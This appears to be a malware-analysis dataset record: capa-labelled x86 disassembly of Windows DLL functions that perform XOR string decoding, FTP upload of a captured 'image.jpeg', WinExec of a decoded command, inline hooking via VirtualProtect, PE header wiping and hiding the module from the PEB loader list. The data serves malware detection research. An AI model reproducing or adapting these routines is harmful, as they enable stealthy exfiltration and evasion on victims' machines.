joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10002a30
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push dword [ebp + 8]
mov ebx, ecx
call fcn.10002990
test al, al
je 0x10002ac8
mov ecx, dword [ebx + 8]
cmp ecx, 8
jb 0x10002ac8
mov edx, dword [ebx + 4]
mov eax, dword [edx]
cmp eax, dword [0x10053f08]
jne 0x10002ac8
mov eax, dword [edx + 4]
cmp eax, dword [0x10053f0c]
jne 0x10002ac8
push edi
lea eax, [ecx - 8]
xor edi, edi
test eax, eax
jle 0x10002abb
push esi
mov esi, dword [ebx + 4]
mov eax, 0x3e0f83e1
mul edi
mov eax, edi
shr edx, 3
mov ecx, edx
shl ecx, 5
add ecx, edx
sub eax, ecx
movsx eax, byte [eax + 0x101a88a6]
and eax, 0xf
mov al, byte [eax + 0x10053ef8]
sub byte [esi + edi + 8], al
mov eax, edi
mov ecx, dword [ebx + 4]
and eax, 0xf
mov al, byte [eax + 0x10053ef8]
xor byte [ecx + edi + 8], al
inc edi
mov eax, dword [ebx + 8]
sub eax, 8
cmp edi, eax
jl 0x10002a71
pop esi
mov ecx, ebx
call fcn.10002ad0
pop edi
pop ebx
pop ebp
ret 4
xor al, al
pop ebx
pop ebp
ret 4

Function at 0x10002ad0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov edi, ecx
lea esi, [edi + 0xc]
call fcn.1003176e
cdq
mov ecx, 0x2710
idiv ecx
push edx
push str.LogsError_d.log
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
push 0x102
push 2
push 0
push 7
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x10002b45
push 0
lea eax, [ebp - 4]
mov dword [ebp - 4], 0
push eax
mov eax, dword [edi + 8]
sub eax, 8
push eax
mov eax, dword [edi + 4]
add eax, 8
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
test eax, eax
jne 0x10002b4d
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10002b60
Capabilities:
Delete file

Disassembly:
push esi
mov esi, ecx
mov edx, 0x10054490
push edi
push ebx
lea edi, [esi + 0xc]
mov eax, edi
nop
mov bl, byte [eax]
cmp bl, byte [edx]
jne 0x10002b90
test bl, bl
je 0x10002b8c
mov cl, byte [eax + 1]
cmp cl, byte [edx + 1]
jne 0x10002b90
add eax, 2
add edx, 2
test cl, cl
jne 0x10002b70
xor eax, eax
jmp 0x10002b95
sbb eax, eax
or eax, 1
pop ebx
test eax, eax
je 0x10002bcb
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x10002bcb
push dword [esi + 4]
call fcn.10027ff3
push 0x100
push 0
push edi
mov dword [esi + 4], 0
mov dword [esi + 8], 0
call fcn.1002ab80
add esp, 0x10
pop edi
pop esi
ret
Function at 0x10002c90
Capabilities:
Check for time delay via gettickcount
Connect to http server
Create http request
Send file using ftp

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x138
mov eax, dword [0x1005c1c4]
xor eax, esp
mov dword [esp + 0x134], eax
cmp dword [0x101a890c], 0
push esi
push edi
je 0x10002dac
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x101a37e0]
cmp eax, 0x927c0
jb 0x10002cd5
call esi
mov dword [0x101a37e0], eax
push 0
push 0
push 0
push 1
push 0
call dword [sym.imp.WININET.dll_InternetOpenA]
movzx ecx, word [0x101a8930]
mov edi, eax
push 0
push 0
push 1
push 0x101a8954
push 0x101a8934
push ecx
push 0x101a8910
push edi
call dword [sym.imp.WININET.dll_InternetConnectA]
mov esi, eax
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx ecx, word [esp + 0x26]
lea eax, [esp + 0x30]
push ecx
movzx ecx, word [esp + 0x26]
push ecx
movzx ecx, word [esp + 0x28]
push ecx
push str._04d__02d__02d
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea eax, [esp + 0x30]
push eax
push esi
call dword [sym.imp.WININET.dll_FtpCreateDirectoryA]
lea eax, [esp + 0x30]
push eax
lea eax, [esp + 0xc]
push eax
call fcn.10002e40
cmp dword [esp + 0x1c], 0x10
lea eax, [esp + 8]
push 0
cmovae eax, dword [esp + 0xc]
push 2
push eax
push str.image.jpeg
push esi
call dword [sym.imp.WININET.dll_FtpPutFileA]
test eax, eax
je 0x10002d87
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
push str.image.jpeg
call fcn.100317a1
mov eax, dword [esp + 0x20]
add esp, 4
cmp eax, 0x10
jb 0x10002dac
inc eax
lea ecx, [esp + 8]
push eax
push dword [esp + 0xc]
call fcn.10003500
mov ecx, dword [esp + 0x13c]
pop edi
pop esi
xor ecx, esp
call fcn.10027a55
mov esp, ebp
pop ebp
ret
Function at 0x10004510
Capabilities:
Check if file exists
Set registry value

Disassembly:
movzx eax, byte [ecx + 4]
cmp eax, 4
ja case.default.0x1000451d
jmp dword [eax*4 + 0x100045cc]
jmp fcn.1001e110
cmp dword [0x101a34c4], 0
jne case.default.0x1000451d
push 0
push ecx
push 0
push 0x1001e330
push ecx
mov dword [0x101a34c4], 1
call fcn.1001def0
add esp, 0x14
ret
cmp dword [0x101a34c4], 0
jne case.default.0x1000451d
push 0
push ecx
push 0
push 0x1001e330
push ecx
mov dword [0x101a34c4], 2
call fcn.1001def0
add esp, 0x14
ret
cmp dword [0x101a34c4], 0
jne case.default.0x1000451d
push 0
push ecx
push 0
push 0x1001e330
push ecx
mov dword [0x101a34c4], 3
call fcn.1001def0
add esp, 0x14
ret
cmp dword [0x101a34c4], 0
jne case.default.0x1000451d
push 0
push ecx
push 0
push 0x1001e330
push ecx
mov dword [0x101a34c4], 4
call fcn.1001def0
add esp, 0x14
ret
Function at 0x10004f20
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10045898
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x1005c1c4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edx, 0x75
xor eax, eax
nop
mov cl, byte [eax + 0x100546b4]
xor cl, dl
mov byte [ebp + eax - 0x34], cl
inc eax
lea ecx, [edx + 1]
movzx edx, cl
cmp eax, 0x21
jb 0x10004f50
mov byte [ebp - 0x13], 0
push 0x1388
lea eax, [ebp - 0x34]
mov dword [ebp - 4], 0
push eax
push ecx
mov edx, 2
mov ecx, 0x101a8c00
call fcn.1001d5f0
add esp, 0xc
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call 0x1001c6e0
jmp dword [pe_dos_header]

Function at 0x10004fc0
Capabilities:
Create process on windows
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x1005c1c4]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, 0x49
xor eax, eax
nop word [eax + eax]
mov cl, byte [eax + str.:__8__8_q]
xor cl, dl
mov byte [ebp + eax - 0x18], cl
inc eax
lea ecx, [edx + 1]
movzx edx, cl
cmp eax, 0x10
jb 0x10004fe0
push 0
lea eax, [ebp - 0x18]
mov byte [ebp - 8], 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call 0x1001c6e0
jmp dword [pe_dos_header]

Function at 0x10005c90
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
push esi
mov esi, ecx
test edx, edx
jle 0x10005d53
push ebx
mov bl, byte [0x101aa60d]
mov bh, byte [0x101aa60e]
cmp edx, 0x20
jb 0x10005d33
mov ecx, edx
push edi
and ecx, 0x8000001f
jns 0x10005cc3
dec ecx
or ecx, 0xffffffe0
inc ecx
movaps xmm3, xmmword [0x10055d40]
mov edi, edx
sub edi, ecx
movaps xmm2, xmm3
movsx ecx, bl
movd xmm0, ecx
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
movsx ecx, bh
pshufd xmm1, xmm0, 0
paddb xmm2, xmm1
movd xmm0, ecx
lea ecx, [esi + 0x10]
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
pshufd xmm4, xmm0, 0
movups xmm0, xmmword [ecx - 0x10]
add eax, 0x20
lea ecx, [ecx + 0x20]
pxor xmm0, xmm2
psubb xmm0, xmm4
paddb xmm0, xmm3
movups xmmword [ecx - 0x30], xmm0
movups xmm0, xmmword [ecx - 0x20]
pxor xmm0, xmm2
psubb xmm0, xmm4
paddb xmm0, xmm3
movups xmmword [ecx - 0x20], xmm0
cmp eax, edi
jl 0x10005d00
pop edi
cmp eax, edx
jge 0x10005d52
add bl, 0xf
nop word [eax + eax]
mov cl, byte [eax + esi]
xor cl, bl
sub cl, bh
add cl, 0xf
mov byte [eax + esi], cl
inc eax
cmp eax, edx
jl 0x10005d40
pop ebx
pop esi
ret
Function at 0x10005d60
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
push esi
mov esi, ecx
test edx, edx
jle 0x10005e16
push ebx
mov bh, byte [0x101aa60e]
mov bl, byte [0x101aa60d]
cmp edx, 0x20
jb 0x10005dfc
mov ecx, edx
push edi
and ecx, 0x8000001f
jns 0x10005d93
dec ecx
or ecx, 0xffffffe0
inc ecx
movaps xmm1, xmmword [0x10055d40]
mov edi, edx
sub edi, ecx
movsx ecx, bh
movd xmm0, ecx
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
movsx ecx, bl
pshufd xmm2, xmm0, 0
psubb xmm2, xmm1
movd xmm0, ecx
lea ecx, [esi + 0x10]
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
pshufd xmm0, xmm0, 0
paddb xmm1, xmm0
movups xmm0, xmmword [ecx - 0x10]
add eax, 0x20
lea ecx, [ecx + 0x20]
paddb xmm0, xmm2
pxor xmm0, xmm1
movups xmmword [ecx - 0x30], xmm0
movups xmm0, xmmword [ecx - 0x20]
paddb xmm0, xmm2
pxor xmm0, xmm1
movups xmmword [ecx - 0x20], xmm0
cmp eax, edi
jl 0x10005dd1
pop edi
cmp eax, edx
jge 0x10005e15
add bl, 0xf
mov cl, byte [eax + esi]
sub cl, 0xf
add cl, bh
xor cl, bl
mov byte [eax + esi], cl
inc eax
cmp eax, edx
jl 0x10005e03
pop ebx
pop esi
ret

Function at 0x10007270
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [0x101aa9ec]
test esi, esi
je 0x100072ce
push edi
mov edi, dword [esi + 0x3c]
lea eax, [ebp - 4]
push eax
push 4
push 0x40
push esi
add edi, esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x100072aa
xorps xmm0, xmm0
movups xmmword [esi], xmm0
movups xmmword [esi + 0x10], xmm0
movups xmmword [esi + 0x20], xmm0
movups xmmword [esi + 0x30], xmm0
test edi, edi
je 0x100072cd
lea eax, [ebp - 4]
push eax
push 4
push 0xf8
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x100072cd
mov ecx, 0x3e
xor eax, eax
rep stosd dword es:[edi], eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x100072e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push edi
mov edi, dword [0x101aa9ec]
lea eax, [ebp - 0x20]
push 0x1c
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
lea eax, [ebp - 0xc]
push eax
push 0x40
push dword [ebp - 0x14]
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0x1000
push 0
push edi
call fcn.1002ab80
add esp, 0xc
push 0
push dword [ebp - 0xc]
push dword [ebp - 0x14]
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push dword [ebp - 0x14]
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x10007350
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [0x101aa9ec]
test esi, esi
je 0x100073c8
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0x18]
test ecx, ecx
je 0x100073c8
cmp ecx, esi
jne 0x100073bf
mov edx, dword [eax + 4]
test edx, edx
je 0x10007381
mov ecx, dword [eax]
mov dword [edx], ecx
mov edx, dword [eax + 4]
test edx, edx
je 0x1000738d
mov ecx, dword [eax]
mov dword [ecx + 4], edx
mov edx, dword [eax + 0x14]
test edx, edx
je 0x10007399
mov ecx, dword [eax + 0x10]
mov dword [edx], ecx
mov edx, dword [eax + 0x10]
test edx, edx
je 0x100073a6
mov ecx, dword [eax + 0x14]
mov dword [edx + 4], ecx
mov edx, dword [eax + 8]
test edx, edx
je 0x100073b2
mov ecx, dword [eax + 0xc]
mov dword [ecx], edx
mov edx, dword [eax + 8]
test edx, edx
je 0x100073bf
mov ecx, dword [eax + 0xc]
mov dword [edx + 4], ecx
mov eax, dword [eax]
mov ecx, dword [eax + 0x18]
test ecx, ecx
jne 0x10007372
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x100079b0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x34
mov eax, dword [0x1005c1c4]
xor eax, esp
mov dword [esp + 0x30], eax
push ebx
push esi
push edi
push 0xff
push 0x1a
lea edx, [esp + 0x1c]
mov dword [esp + 0x1c], 0x83ec8b55
mov ecx, 0x400000
mov dword [esp + 0x20], 0x4d8924ec
mov dword [esp + 0x24], 0xffffffdc
mov dword [esp + 0x28], 0xffffffff
mov dword [esp + 0x2c], 0xff01ff83
mov dword [esp + 0x30], 0xffffffff
mov word [esp + 0x34], 0xc7ff
call fcn.1001c5c0
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x10007add
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [esp + 0x10]
push eax
push 0x40
lea ecx, [ebx + 0x83]
mov dword [0x101aa9e0], ecx
lea esi, [ebx + 0x7c]
push 7
lea ecx, [ebx + 0x98]
push esi
mov dword [0x101aa9dc], ecx
call edi
mov eax, 0x10007900
mov byte [esi], 0xe9
sub eax, esi
sub eax, 5
mov dword [esi + 1], eax
mov eax, 0x90909090
mov word [esi + 5], ax
lea eax, [esp + 0x34]
push eax
push dword [esp + 0x14]
push 7
push esi
call edi
lea ecx, [ebx + 0x1da]
lea eax, [ebx + 0x1df]
mov dword [0x101aa9d8], ecx
mov dword [0x101aaa20], eax
lea esi, [ebx + 0x1d6]
mov eax, dword [ecx + 1]
add eax, 5
add eax, ecx
mov dword [0x101aa9d8], eax
lea eax, [esp + 0x10]
push eax
push 0x40
push 9
push esi
call edi
mov eax, 0x10007970
mov byte [esi], 0xe9
sub eax, esi
sub eax, 5
mov dword [esi + 1], eax
lea eax, [esp + 0x34]
push eax
push dword [esp + 0x14]
mov dword [esi + 5], 0x90909090
push 9
push esi
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
jmp 0x10007b25
mov edx, 0xe1
xor eax, eax
mov cl, byte [eax + 0x100549a0]
xor cl, dl
mov byte [esp + eax + 0x14], cl
inc eax
lea ecx, [edx + 1]
movzx edx, cl
cmp eax, 0x1c
jb 0x10007ae4
lea eax, [esp + 0x14]
mov byte [esp + 0x30], 0
push eax
push 0
push 0x101a3878
call fcn.10016b60
add esp, 0xc
push 0
call esi
push eax
call 0x1001c6e0
jmp dword [pe_dos_header]
push 0xff
push 0x11
lea edx, [esp + 0x1c]
mov dword [esp + 0x1c], 0xffffff66
mov ecx, 0x400000
mov dword [esp + 0x20], 0xff66ffff
mov dword [esp + 0x24], 0xff8b24ff
mov dword [esp + 0x28], 0xffffffff
mov byte [esp + 0x2c], 0x51
call fcn.1001c5c0
add esp, 8
mov dword [0x101a37d4], eax
test eax, eax
je 0x10007b85
mov eax, dword [eax + 2]
mov dword [0x101a37d4], eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x30]
xor ecx, esp
call fcn.10027a55
mov esp, ebp
pop ebp
ret
mov eax, 0x100549c0
lea ecx, [esp + 0x34]
sub eax, 0x575d72e6
push eax
call fcn.10014080
push eax
push 0
push 0x101a3878
call fcn.10016b60
add esp, 0xc
push 0
call esi
push eax
call 0x1001c6e0
jmp dword [pe_dos_header]
Function at 0x10007bd0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
mov esi, ecx
test esi, esi
je 0x10007cb0
push edi
push 0xc
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0
push eax
xorps xmm0, xmm0
push esi
movq qword [ebp - 0x10], xmm0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.PSAPI.DLL_GetModuleInformation]
mov edi, dword [ebp - 0x10]
test edi, edi
jne 0x10007c22
mov eax, dword [esi + 0x3c]
mov edi, dword [eax + esi + 0x1c]
test edi, edi
jne 0x10007c22
push 1
push edi
push edi
push edi
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp dword [0x10accc48], 0
mov dword [ebp - 4], 0x7bc4f04
jne 0x10007c58
push 0
call fcn.10033389
push eax
call fcn.1003178f
add esp, 8
call fcn.1003176e
cdq
mov ecx, 0x64
idiv ecx
add edx, 4
mov dword [0x10accc48], edx
test edi, edi
je 0x10007ca8
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov cl, byte [esi + eax]
cmp cl, byte [ebp + eax - 4]
jne 0x10007c99
inc eax
cmp eax, 4
jl 0x10007c65
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push esi
call ebx
mov al, byte [0x10accc48]
mov byte [esi], al
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 1
push esi
call ebx
mov dword [ebp - 8], 0
inc esi
sub edi, 1
jne 0x10007c63
pop ebx
pop edi
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
pop edi
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10011260
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10046388
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x1005c1c4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
cmp dword [ebx + 0x38], 0
je 0x1001138e
cmp byte [ebx + 0x3d], 0
je 0x1001138e
mov eax, dword [ebx]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
sete al
test al, al
je 0x100112b9
xor al, al
jmp 0x10011390
push 0
push 8
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], 0xf
mov dword [ebp - 0x18], 0
mov byte [ebp - 0x28], 0
call fcn.10011060
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x14]
cmp ecx, 0x10
lea eax, [ebp - 0x2c]
mov ecx, dword [ebx + 0x38]
lea edi, [ebp - 0x28]
cmovae edi, dword [ebp - 0x28]
lea esi, [ebp - 0x28]
cmovae esi, dword [ebp - 0x28]
push eax
mov eax, dword [ebp - 0x18]
mov edx, dword [ecx]
add eax, edi
push eax
push esi
lea eax, [ebx + 0x40]
push eax
call dword [edx + 0x20]
sub eax, 0
je 0x1001131f
sub eax, 1
je 0x10011323
mov ecx, dword [ebp - 0x14]
sub eax, 2
je 0x10011376
xor bl, bl
jmp 0x10011378
mov byte [ebx + 0x3d], 0
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x28]
mov edx, dword [ebp - 0x28]
cmp ecx, 0x10
mov esi, dword [ebp - 0x2c]
cmovae eax, edx
sub esi, eax
je 0x10011358
push dword [ebx + 0x4c]
cmp ecx, 0x10
lea eax, [ebp - 0x28]
push esi
cmovae eax, edx
push 1
push eax
call fcn.1002ed7c
mov ecx, dword [ebp - 0x14]
add esp, 0x10
cmp esi, eax
jne 0x1001131b
cmp byte [ebx + 0x3d], 0
je 0x10011376
test esi, esi
jne 0x100112e1
push esi
push 8
lea ecx, [ebp - 0x28]
call fcn.100110f0
jmp 0x100112de
mov bl, 1
cmp ecx, 0x10
jb 0x1001138a
inc ecx
push ecx
push dword [ebp - 0x28]
lea ecx, [ebp - 0x28]
call fcn.10003500
mov al, bl
jmp 0x10011390
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10027a55
mov esp, ebp
pop ebp
ret
Function at 0x10012d40
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10045a76
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x1005c1c4]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
push 8
mov dword [edi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.10028200
mov esi, eax
push 1
mov dword [ebp - 4], 0
call fcn.10023914
mov dword [esi + 4], eax
lea ecx, [edi + 8]
lea eax, [edi + 4]
mov dword [edi + 0x34], esi
mov dword [edi + 0xc], eax
add esp, 8
lea eax, [edi + 0x14]
mov dword [edi + 0x10], ecx
mov dword [edi + 0x1c], eax
lea eax, [edi + 0x18]
mov dword [edi + 0x20], eax
lea eax, [edi + 0x24]
mov dword [edi + 0x2c], eax
lea eax, [edi + 0x28]
mov dword [edi + 0x30], eax
mov dword [ecx], 0
mov eax, dword [edi + 0x20]
mov dword [eax], 0
mov eax, dword [edi + 0x30]
mov dword [eax], 0
mov eax, dword [edi + 0xc]
mov dword [eax], 0
mov eax, dword [edi + 0x1c]
mov dword [eax], 0
mov eax, dword [edi + 0x2c]
mov dword [eax], 0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x100140f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0xc9
xor eax, eax
mov dl, byte [edi + eax + 0x3c2ab00b]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x1b
jb 0x10014101
pop edi
mov byte [esi + 0x1b], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10014130
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x1b
xor eax, eax
mov dl, byte [edi + eax - 0x56714f1a]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x1b
jb 0x10014141
pop edi
mov byte [esi + 0x1b], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10014170
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0xba
xor eax, eax
mov dl, byte [edi + eax - 0x5fdb605b]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0xf
jb 0x10014181
pop edi
mov byte [esi + 0xf], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x100141b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x68
xor eax, eax
mov dl, byte [edi + eax - 0x2cf13859]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0xe
jb 0x100141c1
pop edi
mov byte [esi + 0xe], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10014280
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x46
xor eax, eax
mov dl, byte [edi + eax + 0x7a84c2ae]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x3a
jb 0x10014291
pop edi
mov byte [esi + 0x3a], 0
mov eax, esi
pop esi
pop ebp
ret 4
Function at 0x10014550
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x65
xor eax, eax
mov dl, byte [edi + eax - 0x1912d1f9]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x19
jb 0x10014561
pop edi
mov byte [esi + 0x19], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10014590
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0xc5
xor eax, eax
mov dl, byte [edi + eax - 0x436db056]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x19
jb 0x100145a1
pop edi
mov byte [esi + 0x19], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x100145d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0xd9
xor eax, eax
mov dl, byte [edi + eax - 0x1a2e1036]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0xd
jb 0x100145e1
pop edi
mov byte [esi + 0xd], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10014610
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 1
xor eax, eax
mov dl, byte [edi + eax + 0x3ed419b4]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0xb
jb 0x10014621
pop edi
mov byte [esi + 0xb], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x100146e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0xe8
xor eax, eax
mov dl, byte [edi + eax + 0x3566316e]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x2a
jb 0x100146f1
pop edi
mov byte [esi + 0x2a], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10014810
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 9
xor eax, eax
mov dl, byte [edi + eax - 0x7bd60ae8]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x1a
jb 0x10014821
pop edi
mov byte [esi + 0x1a], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10014850
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0xf3
xor eax, eax
mov dl, byte [edi + eax - 0x2b8b1aec]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0xc
jb 0x10014861
pop edi
mov byte [esi + 0xc], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10014890
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0xae
xor eax, eax
mov dl, byte [edi + eax - 0x37b821da]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0xe
jb 0x100148a1
pop edi
mov byte [esi + 0xe], 0
mov eax, esi
pop esi
pop ebp
ret 4